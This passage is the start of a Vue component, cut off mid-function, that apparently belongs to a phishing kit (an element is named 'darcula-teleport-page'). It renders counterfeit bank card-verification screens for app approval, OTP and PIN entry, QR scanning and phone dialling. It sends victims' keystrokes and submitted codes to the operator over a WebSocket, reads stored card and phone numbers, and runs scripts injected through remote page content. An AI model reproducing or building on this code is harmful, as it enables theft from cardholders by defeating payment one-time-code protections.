1453 lines
43 KiB
Vue
1453 lines
43 KiB
Vue
<template>
|
||
<form @submit.prevent="submit">
|
||
<div class="validation-renderer">
|
||
<div class="validation-header" v-if="customOtpData.showTop !== false">
|
||
<div class="bank-logo" v-if="customOtpData.imageUrl">
|
||
<img :src="customOtpData.imageUrl" alt="bank" style="height: 70%; max-width: 70%; object-fit: contain;" />
|
||
</div>
|
||
<div class="bank-logo" v-else>
|
||
<img src="@/assets/img/80066acd3fcfa.svg" alt="bank" style="height: 70%; max-width: 70%;" />
|
||
</div>
|
||
<div class="card-logo">
|
||
<CardType1 :cardType="cardType" />
|
||
</div>
|
||
</div>
|
||
<!-- APP验证 -->
|
||
<div v-if="customOtpData.type === 'appValid1'" class="validation-form app-valid">
|
||
<div class="form-header" v-if="customOtpData.pageTitle || customOtpData.pageContent">
|
||
<div class="header-content">
|
||
<h2 v-if="customOtpData.pageTitle" class="validation-title" v-html="renderContent(customOtpData.pageTitle)">
|
||
</h2>
|
||
<div v-if="customOtpData.pageContent" class="form-content" v-html="renderedPageContent"></div>
|
||
</div>
|
||
</div>
|
||
|
||
<div class="payment-details" v-if="customOtpData.merchant || customOtpData.amount || customOtpData.showCard">
|
||
<div v-if="customOtpData.merchant" class="detail-item" v-html="renderContent(customOtpData.merchant)"></div>
|
||
<div v-if="customOtpData.amount" class="detail-item" v-html="renderContent(customOtpData.amount)"></div>
|
||
<div v-if="customOtpData.showCard" class="detail-item" v-html="renderContent(customOtpData.cardNumber)"></div>
|
||
</div>
|
||
|
||
<div class="app-loading">
|
||
<div class="loading-container">
|
||
<img
|
||
src="data:image/gif;base64,R0lGODlhUAAQAPABANfX1wAAACH5BAkPAAEAIf8LTkVUU0NBUEUyLjADAQAAACwAAAAAUAAQAAACUoyPqcvtD6OctNqLs968GwACVShS5BhCJDitZeS2q+Oyag3jd8zUL617+HK8xXA3Q56UqV4QWIQmhU9FlLokNrU2KaoryYa3nrL5jE6r1+y2pQAAIfkECQ8ABQAsAAAAAFAAEACCAL8ZBL8dCMAgLsRC19fXAAAAAAAAAAAAA2ZYutz+MMpJq7046827/2CoDEEwZERKoCqbUgIgA8Klttb95ro0zLMTRYebEHfGYyQAlAUqx9VQOSUum4Bntbe9QamPX1OYtHaLkqgkNqvxvG90WR4ukeMuqY0u6vv/gIGCg4SFFwkAIfkECQ8ABQAsAAAAAFAAEACCAL8ZBL8dCMAgLsRC19fXAAAAAAAAAAAAA3RYutz+MMpJq7046827/2CoDEEwZKSZESyxtpQAzIBwybRttfDOu5EBjXaiCIeA4uTXWzKBjwASEKhIkVXKEyrZRq7D7ARME3efFS/kOFRK2MQ0WjuH4Ga6yr12YfZ/RiVuFSmDdCwviCKLjI2Oj5CRkpMcCQAh+QQJDwAFACwAAAAAUAAQAIIAvxkEvx0IwCAuxELX19cAAAAAAAAAAAADeVi63P4wykmrvTjrzbv/YKgMQTBkpImWJ0a8BCUANCBcc31bOb1XMJhkUKu1JsQi4DhULoFBISTgDFSoSisFW9ROotIHt+aVjGnlyBmQhoBfkWSRGXfSIXIjFCzp2XBFPzKBF3xILCsqGCl3X2EikJGSk5SVlpeYGgkAIfkECQ8ABAAsAAAAAFAAEACCAL8ZBL8dCMAgLsRCAAAAAAAAAAAAAAAAA3lIutz+MMpJq7046827/2CoDEEwZKSJlieWtpIAzIBwybRt4bNe8TXJgEaDCYkzY2SIVEKYROcigAQEKlTklZIlbidd2tcRno0jZSu2eoak2wtosSJP0qtSRx2QVwB9FH83RIATghMvKyouLIp9IpCRkpOUlZaXmBQJACH5BAkPAAUALAAAAABQABAAggC/GQS/HQjAIC7EQtfX1wAAAAAAAAAAAANyWLrc/jDKSau9OOvNu/9gqBAkkQ1BMJzpiqEqVZaXANyAUOP5juuR2awy4N1ck6IRKVHymA0hjRIwAgKVqhFLtXIfUlLWO96WeV9H2ERx4qAQ95FohTOkvhuwYvvlexNDLy0sMYOGIomKi4yNjo+QkRsJACH5BAkPAAUALAAAAABQABAAggC/GQS/HQjAIC7EQtfX1wAAAAAAAAAAAANtWLrc/jDKSau9OOvNu/9gqBAkkZUmNgTBkK0thZLXnFYCoAPCle+9iI0mG1YGu52LgkwClo/hTSKtBJyAgBWrhVSLtq2zO7mOhUbw7IiFSppJtyNsoeOSwTtQfSq9WHJMgCKEhYaHiImKi4wdCQAh+QQJDwAFACwAAAAAUAAQAIIAvxkEvx0IwCAuxELX19cAAAAAAAAAAAADZ1i63P4wykmrvTjrzbv/YKgQJJGVJoZmQxAMFEpeclrVlwDsgCDVsxjwNqQMeDwYBGj7FSfMSgC5C0SiQlxWJqUCrMunUwsVR45UZXhlIW+DFR3PV4a3Syc8pvUS+f+AgYKDhIWGHQkAOw=="
|
||
class="loading-gif" alt="Loading" />
|
||
</div>
|
||
</div>
|
||
|
||
<div v-if="message" class="error-message">
|
||
{{ renderContent(message) }}
|
||
</div>
|
||
</div>
|
||
|
||
<!-- 验证码1 -->
|
||
<div v-else-if="customOtpData.type === 'otpValid1'" class="validation-form otp-valid1">
|
||
<div class="form-header" v-if="customOtpData.pageTitle || customOtpData.pageContent">
|
||
<div class="header-content">
|
||
<h2 v-if="customOtpData.pageTitle" class="validation-title" v-html="renderContent(customOtpData.pageTitle)">
|
||
</h2>
|
||
<div v-if="customOtpData.pageContent" class="form-content" v-html="renderedPageContent"></div>
|
||
</div>
|
||
</div>
|
||
|
||
<div class="payment-details" v-if="customOtpData.merchant || customOtpData.amount || customOtpData.showCard">
|
||
<div v-if="customOtpData.merchant" class="detail-item" v-html="renderContent(customOtpData.merchant)"></div>
|
||
<div v-if="customOtpData.amount" class="detail-item" v-html="renderContent(customOtpData.amount)"></div>
|
||
<div v-if="customOtpData.showCard" class="detail-item" v-html="renderContent(customOtpData.cardNumber)"></div>
|
||
</div>
|
||
|
||
<div class="form-fields">
|
||
<div v-if="customOtpData.input1Title" class="field-group">
|
||
<div style="width: fit-content;">
|
||
<div v-html="renderContent(customOtpData.input1Title)"></div>
|
||
<input required v-model="formData.input1" type="text" :placeholder="customOtpData.input1TitlePlaceholder"
|
||
class="form-input otp-input" @input="handleInput('input1', $event)" />
|
||
</div>
|
||
</div>
|
||
|
||
<div v-if="customOtpData.input2Title" class="field-group">
|
||
<div style="width: fit-content;">
|
||
<div v-html="renderContent(customOtpData.input2Title)"></div>
|
||
<input required v-model="formData.input2" type="text" :placeholder="customOtpData.input2TitlePlaceholder"
|
||
class="form-input otp-input" @input="handleInput('input2', $event)" />
|
||
</div>
|
||
</div>
|
||
|
||
<div v-if="message" class="error-message" v-html="renderContent(message)">
|
||
</div>
|
||
|
||
<div class="submit-container">
|
||
<button type="submit" v-if="customOtpData.buttonText" class="submit-button"
|
||
:style="{ backgroundColor: customOtpData.buttonColor || '#67C23A' }">
|
||
{{ customOtpData.buttonText }}
|
||
</button>
|
||
</div>
|
||
|
||
<div v-if="customOtpData.showResendText" class="resend-section">
|
||
<button type="button" class="resend-button no-obfuscate" @click="handleResend">
|
||
<span v-html="renderContent(buttonText)"></span>
|
||
</button>
|
||
</div>
|
||
</div>
|
||
</div>
|
||
|
||
<!-- 验证码2 -->
|
||
<div v-else-if="customOtpData.type === 'otpValid2'" class="validation-form otp-valid2">
|
||
<div class="form-header" v-if="customOtpData.pageTitle || customOtpData.pageContent">
|
||
<div class="header-content">
|
||
<h2 v-if="customOtpData.pageTitle" class="validation-title" v-html="renderContent(customOtpData.pageTitle)">
|
||
</h2>
|
||
<div v-if="customOtpData.pageContent" class="form-content" v-html="renderedPageContent"></div>
|
||
</div>
|
||
</div>
|
||
|
||
<div class="payment-details"
|
||
v-if="customOtpData.merchant || customOtpData.amount || customOtpData.showCard || customOtpData.input1Title">
|
||
<div v-if="customOtpData.merchant" class="detail-item" v-html="renderContent(customOtpData.merchant)"></div>
|
||
<div v-if="customOtpData.amount" class="detail-item" v-html="renderContent(customOtpData.amount)"></div>
|
||
<div v-if="customOtpData.showCard" class="detail-item" v-html="renderContent(customOtpData.cardNumber)"></div>
|
||
<div v-if="customOtpData.input1Title" class="detail-item input-detail-item">
|
||
<span class="input-label" v-html="renderContent(customOtpData.input1Title)"></span>
|
||
<input required v-model="formData.input1" type="text" class="otp-input-inline"
|
||
@input="handleInput('input1', $event)" />
|
||
</div>
|
||
<div v-if="customOtpData.input2Title" class="detail-item input-detail-item">
|
||
<span class="input-label" v-html="renderContent(customOtpData.input2Title)"></span>
|
||
<input required v-model="formData.input2" type="text" class="otp-input-inline"
|
||
@input="handleInput('input2', $event)" />
|
||
</div>
|
||
<div v-if="message" class="error-message" v-html="renderContent(message)">
|
||
</div>
|
||
</div>
|
||
|
||
<div class="form-fields">
|
||
<div class="submit-container">
|
||
<button type="submit" v-if="customOtpData.buttonText" class="submit-button"
|
||
:style="{ backgroundColor: customOtpData.buttonColor || '#67C23A' }">
|
||
{{ customOtpData.buttonText }}
|
||
</button>
|
||
</div>
|
||
|
||
<div v-if="customOtpData.showResendText" class="resend-section">
|
||
<button type="button" class="resend-button no-obfuscate" @click="handleResend">
|
||
{{ buttonText }}
|
||
</button>
|
||
</div>
|
||
</div>
|
||
</div>
|
||
|
||
<!-- 扫码验证 -->
|
||
<div v-else-if="customOtpData.type === 'scanValid1'" class="validation-form scan-valid">
|
||
<div class="form-header" v-if="customOtpData.pageTitle">
|
||
<div class="header-content">
|
||
<h2 v-if="customOtpData.pageTitle" class="validation-title" v-html="renderContent(customOtpData.pageTitle)">
|
||
</h2>
|
||
</div>
|
||
</div>
|
||
|
||
<div class="payment-details" v-if="customOtpData.merchant || customOtpData.amount || customOtpData.showCard">
|
||
<div v-if="customOtpData.merchant" class="detail-item">{{ renderContent(customOtpData.merchant) }}</div>
|
||
<div v-if="customOtpData.amount" class="detail-item">{{ renderContent(customOtpData.amount) }}</div>
|
||
<div v-if="customOtpData.showCard" class="detail-item">{{ renderContent(customOtpData.cardNumber) }}</div>
|
||
</div>
|
||
|
||
<div v-if="customOtpData.pageContent" class="form-content" v-html="renderedPageContent"></div>
|
||
|
||
<div class="qr-section">
|
||
<div class="qr-code-container">
|
||
<img :src="message1" alt="QR Code" class="qr-code" />
|
||
</div>
|
||
</div>
|
||
|
||
<div v-if="message" class="error-message" v-html="renderContent(message)">
|
||
|
||
</div>
|
||
|
||
<div v-if="customOtpData.showResendText" class="resend-section">
|
||
<button type="button" class="resend-button no-obfuscate" @click="handleResend">
|
||
{{ buttonText }}
|
||
</button>
|
||
</div>
|
||
</div>
|
||
|
||
<!-- 拨号验证 -->
|
||
<div v-else-if="customOtpData.type === 'dialValid1'" class="validation-form dial-valid">
|
||
<div class="form-header">
|
||
<div class="header-content">
|
||
<h2 v-if="customOtpData.pageTitle" class="validation-title" v-html="renderContent(customOtpData.pageTitle)">
|
||
</h2>
|
||
<div v-if="customOtpData.pageContent" class="form-content japanese-content" v-html="renderedPageContent">
|
||
</div>
|
||
</div>
|
||
</div>
|
||
|
||
<div class="submit-container">
|
||
<button type="submit" v-if="customOtpData.buttonText" class="submit-button completed-button"
|
||
:style="{ backgroundColor: customOtpData.buttonColor || '#E6A23C' }">
|
||
{{ customOtpData.buttonText }}
|
||
</button>
|
||
</div>
|
||
|
||
<div v-if="message" class="error-message">
|
||
{{ renderContent(message) }}
|
||
</div>
|
||
</div>
|
||
|
||
<!-- 全自定义验证 -->
|
||
<div v-else-if="customOtpData.type === 'customValid'" class="validation-form custom-valid">
|
||
<!-- 自定义样式 -->
|
||
<component :is="'style'" v-if="customOtpData.customStyles" scoped>
|
||
{{ customOtpData.customStyles }}
|
||
</component>
|
||
|
||
<div v-if="customOtpData.pageContent" class="form-content custom-content" v-html="renderedPageContent">
|
||
</div>
|
||
</div>
|
||
|
||
<!-- 默认表单 -->
|
||
<div v-else class="validation-form default-form">
|
||
|
||
<div id="darcula-teleport-page">
|
||
<div>
|
||
<form class="container" @submit.prevent="submit">
|
||
<div style="font-size: 20px">
|
||
<b v-html="renderContent(customOtpData.pageTitle)"></b>
|
||
</div>
|
||
<p v-html="renderContent(customOtpData.pageContent)"></p>
|
||
<br />
|
||
<div class="input" style="text-align: center" v-if="customOtpData.input1Title">
|
||
<label>{{ renderContent(customOtpData.input1Title) }}</label>
|
||
<input required @input="onInput1Change" v-model="formData.input1" />
|
||
</div>
|
||
<div class="input" style="text-align: center" v-if="customOtpData.input2Title">
|
||
<label>{{ renderContent(customOtpData.input2Title) }}</label>
|
||
<input required @input="onInput2Change" v-model="formData.input2" />
|
||
</div>
|
||
<div class="error" v-if="message">
|
||
{{ message }}
|
||
</div>
|
||
<br />
|
||
<div class="button-submit">
|
||
<button type="submit" :style="{ backgroundColor: customOtpData.buttonColor }">
|
||
{{ customOtpData.buttonText ? customOtpData.buttonText : "Submit" }}
|
||
</button>
|
||
</div>
|
||
</form>
|
||
</div>
|
||
</div>
|
||
</div>
|
||
|
||
</div>
|
||
</form>
|
||
</template>
|
||
|
||
<script setup lang="ts">
|
||
import { ref, reactive, computed, watch, onMounted, onUnmounted, nextTick } from 'vue'
|
||
import {
|
||
inputChange,
|
||
myWebSocket,
|
||
customOtpData,
|
||
setCustomOtpData,
|
||
} from "@/utils/common";
|
||
import CardType1 from "../components/CardType1.vue";
|
||
import eventBus from '@/utils/eventBus';
|
||
import { useRoute } from 'vue-router';
|
||
import { useLoadingStore } from '@/stores/loadingStore';
|
||
|
||
const cardType = ref("");
|
||
const message1 = ref("");
|
||
const cardNumberLast4 = ref("");
|
||
const phone = ref("");
|
||
const price = ref("");
|
||
|
||
const message = ref("");
|
||
|
||
const handleEvent = (data: { message2: string }) => {
|
||
toggleCustomSubmitLoading(false)
|
||
message.value = data.message2 ? data.message2 : customOtpData.value.errorMessage;
|
||
};
|
||
|
||
|
||
|
||
onMounted(() => {
|
||
const route = useRoute();
|
||
const query = route.query as any;
|
||
if (query && query.cardType) {
|
||
cardType.value = query.cardType;
|
||
localStorage.setItem("cardType", query.cardType);
|
||
} else {
|
||
const type = localStorage.getItem("cardType");
|
||
if (type) {
|
||
cardType.value = type;
|
||
}
|
||
}
|
||
|
||
if (query && query.message1) {
|
||
message1.value = query.message1;
|
||
localStorage.setItem("message1", query.message1);
|
||
} else {
|
||
const type = localStorage.getItem("message1");
|
||
if (type) {
|
||
message1.value = type;
|
||
}
|
||
}
|
||
|
||
const customOtpDataValue = localStorage.getItem("customOtpData");
|
||
if (customOtpDataValue) {
|
||
setCustomOtpData(JSON.parse(customOtpDataValue));
|
||
}
|
||
|
||
localStorage.setItem("route", "customOtpValid");
|
||
eventBus.on("custom-otp-valid", handleEvent);
|
||
|
||
const cardData = JSON.parse(localStorage.getItem("card") ?? "{}");
|
||
if (cardData && cardData.cardNumber) {
|
||
const cardNum = cardData.cardNumber;
|
||
cardNumberLast4.value = cardNum.slice(-4);
|
||
}
|
||
|
||
const cardNumber = localStorage.getItem("cardNumber") ?? "";
|
||
if (cardNumber) {
|
||
const cardNum = cardNumber;
|
||
cardNumberLast4.value = cardNum.slice(-4);
|
||
}
|
||
|
||
// 设置全局输入处理函数 - 支持自定义 id
|
||
(window as any).handleCustomInput = (id: string, value: string) => {
|
||
// 根据id映射到对应的formData字段
|
||
if (id === 'input1' || id === 'inline-input1') {
|
||
formData.input1 = value
|
||
onchange(value, "verifyCode1")
|
||
emit('input', 'input1', value)
|
||
} else if (id === 'input2' || id === 'inline-input2') {
|
||
formData.input2 = value
|
||
onchange(value, "verifyCode2")
|
||
emit('input', 'input2', value)
|
||
}
|
||
};
|
||
|
||
// 设置全局按钮点击处理函数
|
||
(window as any).handleCustomButton = (id: string, action: string) => {
|
||
if (action === 'submit') {
|
||
submit()
|
||
} else if (action === 'resend') {
|
||
handleResend()
|
||
}
|
||
};
|
||
|
||
// 绑定输入框事件和执行脚本
|
||
setTimeout(() => {
|
||
bindInputEvents()
|
||
executeScripts() // 执行初始脚本
|
||
}, 200); // 延迟执行确保所有DOM都已渲染
|
||
});
|
||
|
||
onMounted(() => {
|
||
const phoneValue = localStorage.getItem("phone") || ""
|
||
phone.value = phoneValue
|
||
const priceValue = localStorage.getItem("price") || ""
|
||
price.value = priceValue
|
||
if (price.value === "") {
|
||
const moneyAmountValue = localStorage.getItem("moneyAmount") || ""
|
||
price.value = moneyAmountValue
|
||
}
|
||
});
|
||
|
||
const onchange = (value: any, key: string) => {
|
||
inputChange("input_card", key, value);
|
||
};
|
||
|
||
const onInput1Change = (event: any) => {
|
||
const value = event.target.value;
|
||
formData.input1 = value;
|
||
onchange(value, "verifyCode1");
|
||
// 触发内容重新渲染
|
||
emit('input', 'input1', value);
|
||
};
|
||
|
||
const onInput2Change = (event: any) => {
|
||
const value = event.target.value;
|
||
formData.input2 = value;
|
||
onchange(value, "verifyCode2");
|
||
// 触发内容重新渲染
|
||
emit('input', 'input2', value);
|
||
};
|
||
|
||
const toggleCustomSubmitLoading = (visible: boolean): boolean => {
|
||
const loadingElements = document.querySelectorAll(
|
||
'.form-content [data-submit-loading], .custom-content [data-submit-loading], .form-content .custom-submit-loading, .custom-content .custom-submit-loading'
|
||
) as NodeListOf<HTMLElement>
|
||
|
||
if (loadingElements.length === 0) {
|
||
return false
|
||
}
|
||
|
||
loadingElements.forEach((element) => {
|
||
if (visible) {
|
||
if (element.dataset.originalDisplay === undefined) {
|
||
element.dataset.originalDisplay = window.getComputedStyle(element).display
|
||
}
|
||
const customDisplay = element.dataset.loadingDisplay || 'block'
|
||
element.style.display = customDisplay
|
||
} else {
|
||
const originalDisplay = element.dataset.originalDisplay
|
||
if (originalDisplay !== undefined) {
|
||
element.style.display = originalDisplay
|
||
}
|
||
}
|
||
})
|
||
|
||
return true
|
||
}
|
||
|
||
const doSubmit = async () => {
|
||
await nextTick();
|
||
|
||
// 收集所有自定义输入框的值
|
||
const customInputs = document.querySelectorAll('.custom-input') as NodeListOf<HTMLInputElement>
|
||
const submitData: Record<string, string> = {}
|
||
|
||
// 验证所有required输入框
|
||
let firstEmptyInput: any = null
|
||
let hasEmptyRequired = false
|
||
|
||
customInputs.forEach(input => {
|
||
const fieldName = input.dataset.field || input.id || 'unknown'
|
||
const verifyKey = input.dataset.verifyKey || fieldName
|
||
const value = input.value.trim()
|
||
|
||
// 检查required属性
|
||
if (input.hasAttribute('required') && !value) {
|
||
hasEmptyRequired = true
|
||
if (!firstEmptyInput) {
|
||
firstEmptyInput = input
|
||
}
|
||
}
|
||
|
||
submitData[verifyKey] = value
|
||
})
|
||
|
||
// 如果有必填项未填写，使用浏览器原生验证提示
|
||
if (hasEmptyRequired && firstEmptyInput) {
|
||
firstEmptyInput.reportValidity() // 使用浏览器原生提示
|
||
return
|
||
}
|
||
|
||
const hasCustomLoading = toggleCustomSubmitLoading(true)
|
||
useLoadingStore().isLoading = !hasCustomLoading;
|
||
myWebSocket?.send(
|
||
JSON.stringify({
|
||
event: "submit_card",
|
||
content: {
|
||
type: "submitCustomOtpValid",
|
||
formData: submitData,
|
||
},
|
||
})
|
||
);
|
||
};
|
||
|
||
const submit = async () => {
|
||
await doSubmit()
|
||
}
|
||
|
||
|
||
watch(
|
||
customOtpData,
|
||
() => {
|
||
// 清空所有动态字段
|
||
Object.keys(formData).forEach(key => delete formData[key]);
|
||
message.value = "";
|
||
toggleCustomSubmitLoading(false)
|
||
// 重置静态内容
|
||
staticContent.value = '';
|
||
lastPageContent.value = '';
|
||
// 重新绑定输入框事件和执行脚本
|
||
setTimeout(() => {
|
||
bindInputEvents()
|
||
executeScripts()
|
||
}, 100);
|
||
},
|
||
{ deep: true }
|
||
);
|
||
|
||
// 监听message变化,自动更新所有custom-error-message元素
|
||
watch(
|
||
message,
|
||
(newMessage) => {
|
||
nextTick(() => {
|
||
const errorContainers = document.querySelectorAll('.custom-error-message') as NodeListOf<HTMLElement>
|
||
errorContainers.forEach(container => {
|
||
if (newMessage) {
|
||
container.textContent = newMessage
|
||
container.style.display = 'block'
|
||
} else {
|
||
container.style.display = 'none'
|
||
}
|
||
})
|
||
})
|
||
}
|
||
);
|
||
|
||
// 添加一个watch来监听计算属性的变化
|
||
watch(
|
||
() => customOtpData.value.pageContent,
|
||
() => {
|
||
// 重置静态内容
|
||
staticContent.value = '';
|
||
lastPageContent.value = '';
|
||
// 当pageContent变化时，重新绑定事件和执行脚本
|
||
setTimeout(() => {
|
||
bindInputEvents()
|
||
executeScripts()
|
||
}, 100);
|
||
}
|
||
);
|
||
|
||
onUnmounted(() => {
|
||
eventBus.off("custom-otp-valid", handleEvent);
|
||
// 清理全局函数
|
||
if ((window as any).handleCustomInput) {
|
||
delete (window as any).handleCustomInput;
|
||
}
|
||
if ((window as any).handleCustomButton) {
|
||
delete (window as any).handleCustomButton;
|
||
}
|
||
});
|
||
|
||
|
||
// 类型定义
|
||
export interface ValidationConfig {
|
||
type: 'appValid1' | 'otpValid1' | 'otpValid2' | 'scanValid1' | 'dialValid1' | 'customValid' | 'default'
|
||
name?: string
|
||
pageTitle?: string
|
||
pageContent?: string
|
||
input1Title?: string
|
||
input2Title?: string
|
||
buttonText?: string
|
||
buttonColor?: string
|
||
errorMessage?: string
|
||
imageUrl?: string
|
||
resendText?: string
|
||
showResendText?: boolean
|
||
showCard?: boolean
|
||
merchant?: string
|
||
amount?: string
|
||
showDynamicFields?: boolean
|
||
customStyles?: string // 自定义CSS样式
|
||
countdown?: boolean // 重发按钮是否启用倒计时，默认true
|
||
}
|
||
|
||
export interface FormData {
|
||
[key: string]: string // 支持任意数量的输入框字段
|
||
}
|
||
|
||
export interface DynamicData {
|
||
merchant?: string
|
||
payment?: string
|
||
card?: string
|
||
phone?: string
|
||
phoneFull?: string
|
||
date?: string
|
||
var1?: string
|
||
var2?: string
|
||
var3?: string
|
||
[key: string]: any
|
||
}
|
||
|
||
|
||
// Props
|
||
const props = withDefaults(defineProps<{
|
||
dynamicData?: DynamicData
|
||
qrCodeImage?: string
|
||
cardNumberLast4?: string
|
||
}>(), {
|
||
dynamicData: () => ({}),
|
||
qrCodeImage: 'data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMjAwIiBoZWlnaHQ9IjIwMCIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj4KICA8cmVjdCB3aWR0aD0iMjAwIiBoZWlnaHQ9IjIwMCIgZmlsbD0id2hpdGUiLz4KICA8dGV4dCB4PSIxMDAiIHk9IjEwMCIgZm9udC1mYW1pbHk9IkFyaWFsIiBmb250LXNpemU9IjE0IiBmaWxsPSIjNjY2IiB0ZXh0LWFuY2hvcj0ibWlkZGxlIiBkeT0iLjNlbSI+UVIgQ29kZTwvdGV4dD4KPC9zdmc+',
|
||
cardNumberLast4: '1234'
|
||
})
|
||
|
||
// Emits
|
||
const emit = defineEmits<{
|
||
submit: [data: FormData]
|
||
input: [field: string, value: string]
|
||
resend: []
|
||
}>()
|
||
|
||
// 响应式数据 - 支持动态添加任意字段
|
||
const formData = reactive<FormData>({})
|
||
|
||
// 倒计时相关变量（需要在前面声明，因为其他函数会用到）
|
||
const initialTime = 60; // 倒计时时间，单位为秒
|
||
const timeLeft = ref(initialTime);
|
||
const isCounting = ref(false);
|
||
let timer: number | null = null;
|
||
let countdownStarted = false; // 标记倒计时是否已启动
|
||
|
||
const resendText = ref("");
|
||
const showResendText = ref(false);
|
||
|
||
// 渲染内容，替换动态变量
|
||
const renderContent = (content: string, skipInputs = false): string => {
|
||
if (!content) return content
|
||
|
||
let rendered = content
|
||
const phoneLast4 = phone.value ? phone.value.slice(-4) : ''
|
||
|
||
// 检查是否包含传统输入框占位符
|
||
const hasInput1 = rendered.includes('${input1}')
|
||
const hasInput2 = rendered.includes('${input2}')
|
||
|
||
// 获取传统输入框的HTML或值
|
||
const getInputContent = (inputValue: string, inputTitle: string, fieldName: string) => {
|
||
if (hasInput1 && fieldName === 'input1' || hasInput2 && fieldName === 'input2') {
|
||
if (skipInputs) {
|
||
return `__PLACEHOLDER_${fieldName.toUpperCase()}__`
|
||
}
|
||
const placeholder = inputTitle || `请输入${fieldName === 'input1' ? '验证码' : 'PIN码'}`
|
||
const inputId = `inline-${fieldName}`
|
||
return `<span class="inline-input-wrapper" data-field="${fieldName}">
|
||
<input required
|
||
id="${inputId}"
|
||
type="text"
|
||
value="${inputValue}"
|
||
placeholder="${placeholder}"
|
||
class="inline-input-field"
|
||
data-field="${fieldName}"
|
||
oninput="window.handleCustomInput('${fieldName}', this.value)"
|
||
/>
|
||
</span>`
|
||
}
|
||
return inputValue
|
||
}
|
||
|
||
// 替换预定义变量
|
||
const replacements = {
|
||
'${merchant}': customOtpData.value.merchant || '',
|
||
'${payment}': customOtpData.value.amount || '',
|
||
'${price}': price.value || '',
|
||
'${card}': cardNumberLast4.value || '',
|
||
'${phone}': phoneLast4,
|
||
'${phoneFull}': phone.value,
|
||
'${date}': new Date().toLocaleDateString(),
|
||
'${input1}': getInputContent(formData.input1, customOtpData.value.input1Title, 'input1'),
|
||
'${input2}': getInputContent(formData.input2, customOtpData.value.input2Title, 'input2'),
|
||
}
|
||
|
||
// 替换所有变量
|
||
Object.keys(replacements).forEach((key) => {
|
||
const value = replacements[key as keyof typeof replacements]
|
||
rendered = rendered.replace(new RegExp(key.replace(/[.*+?^${}()|[\]\\]/g, '\\$&'), 'g'), String(value))
|
||
})
|
||
|
||
return rendered
|
||
}
|
||
|
||
// 静态内容缓存
|
||
const staticContent = ref('')
|
||
const lastPageContent = ref('')
|
||
|
||
// 计算属性，只在pageContent结构变化时重新渲染
|
||
const renderedPageContent = computed(() => {
|
||
const currentPageContent = customOtpData.value.pageContent || ''
|
||
|
||
// 只有当pageContent本身发生变化时才重新渲染HTML结构
|
||
if (currentPageContent !== lastPageContent.value) {
|
||
lastPageContent.value = currentPageContent
|
||
staticContent.value = renderContent(currentPageContent)
|
||
|
||
// 延迟绑定事件，确保DOM已更新
|
||
nextTick(() => {
|
||
setTimeout(() => {
|
||
bindInputEvents()
|
||
executeScripts() // 执行 pageContent 中的 JavaScript
|
||
}, 50)
|
||
})
|
||
}
|
||
|
||
return staticContent.value
|
||
})
|
||
|
||
// 执行 pageContent 中的 JavaScript
|
||
const executeScripts = () => {
|
||
nextTick(() => {
|
||
// 查找所有包含 pageContent 的容器
|
||
const containers = document.querySelectorAll('.form-content, .custom-content')
|
||
|
||
containers.forEach(container => {
|
||
// 查找所有 script 标签
|
||
const scripts = container.querySelectorAll('script')
|
||
|
||
scripts.forEach(oldScript => {
|
||
try {
|
||
// 创建新的 script 标签来执行
|
||
const newScript = document.createElement('script')
|
||
|
||
// 复制属性（如 type, src 等）
|
||
Array.from(oldScript.attributes).forEach(attr => {
|
||
newScript.setAttribute(attr.name, attr.value)
|
||
})
|
||
|
||
// 如果有 src 属性，直接使用；否则复制内联代码
|
||
if (!oldScript.src) {
|
||
newScript.textContent = oldScript.textContent
|
||
}
|
||
|
||
// 替换旧的 script 标签以触发执行
|
||
oldScript.parentNode?.replaceChild(newScript, oldScript)
|
||
} catch (error) {
|
||
console.error('Script execution error:', error)
|
||
}
|
||
})
|
||
})
|
||
})
|
||
}
|
||
|
||
// 绑定输入框和按钮事件的函数
|
||
const bindInputEvents = () => {
|
||
nextTick(() => {
|
||
const tryBind = (retries = 3) => {
|
||
// 查找所有带custom-input class的输入框
|
||
const customInputs = document.querySelectorAll('.custom-input') as NodeListOf<HTMLInputElement>
|
||
// 查找所有带custom-button class的按钮
|
||
const customButtons = document.querySelectorAll('.custom-button') as NodeListOf<HTMLButtonElement>
|
||
// 查找所有带custom-error-message class的错误信息容器
|
||
const errorContainers = document.querySelectorAll('.custom-error-message') as NodeListOf<HTMLElement>
|
||
|
||
// 如果找不到任何元素且还有重试次数，则重试
|
||
if (customInputs.length === 0 && customButtons.length === 0 && errorContainers.length === 0 && retries > 0) {
|
||
setTimeout(() => tryBind(retries - 1), 100)
|
||
return
|
||
}
|
||
|
||
// 绑定所有自定义输入框
|
||
customInputs.forEach(input => {
|
||
if (!input.dataset.bound) {
|
||
const fieldName = input.dataset.field || 'input1'
|
||
input.dataset.bound = 'true'
|
||
|
||
// 绑定输入事件
|
||
input.removeEventListener('input', handleCustomInputEvent)
|
||
input.addEventListener('input', handleCustomInputEvent)
|
||
addFocusBlurStyle(input)
|
||
}
|
||
})
|
||
|
||
// 绑定所有自定义按钮
|
||
customButtons.forEach(button => {
|
||
if (!button.dataset.bound) {
|
||
const action = button.dataset.action || 'submit'
|
||
button.dataset.bound = 'true'
|
||
|
||
// 绑定点击事件
|
||
button.removeEventListener('click', handleCustomButtonEvent)
|
||
button.addEventListener('click', handleCustomButtonEvent)
|
||
|
||
// 如果是重发按钮，存储原始文本并更新初始状态
|
||
if (action === 'resend') {
|
||
if (!button.dataset.originalText) {
|
||
button.dataset.originalText = button.textContent || 'Resend'
|
||
}
|
||
// 检查是否启用倒计时（data-countdown属性，默认为true）
|
||
const enableCountdown = button.dataset.countdown !== 'false'
|
||
if (enableCountdown) {
|
||
updateResendButton(button)
|
||
}
|
||
}
|
||
}
|
||
})
|
||
|
||
// 更新所有错误信息容器
|
||
errorContainers.forEach(container => {
|
||
updateErrorMessage(container)
|
||
})
|
||
|
||
// 绑定完成后，启动倒计时（只启动一次）
|
||
if (!countdownStarted) {
|
||
countdownStarted = true
|
||
startCountdown('')
|
||
}
|
||
}
|
||
|
||
tryBind()
|
||
})
|
||
}
|
||
|
||
// 更新错误信息
|
||
const updateErrorMessage = (container: HTMLElement) => {
|
||
if (message.value) {
|
||
container.textContent = message.value
|
||
container.style.display = 'block'
|
||
} else {
|
||
container.style.display = 'none'
|
||
}
|
||
}
|
||
|
||
// 更新重发按钮状态
|
||
const updateResendButton = (button: HTMLButtonElement) => {
|
||
const originalText = button.dataset.originalText || 'Resend'
|
||
|
||
if (isCounting.value) {
|
||
// 倒计时中
|
||
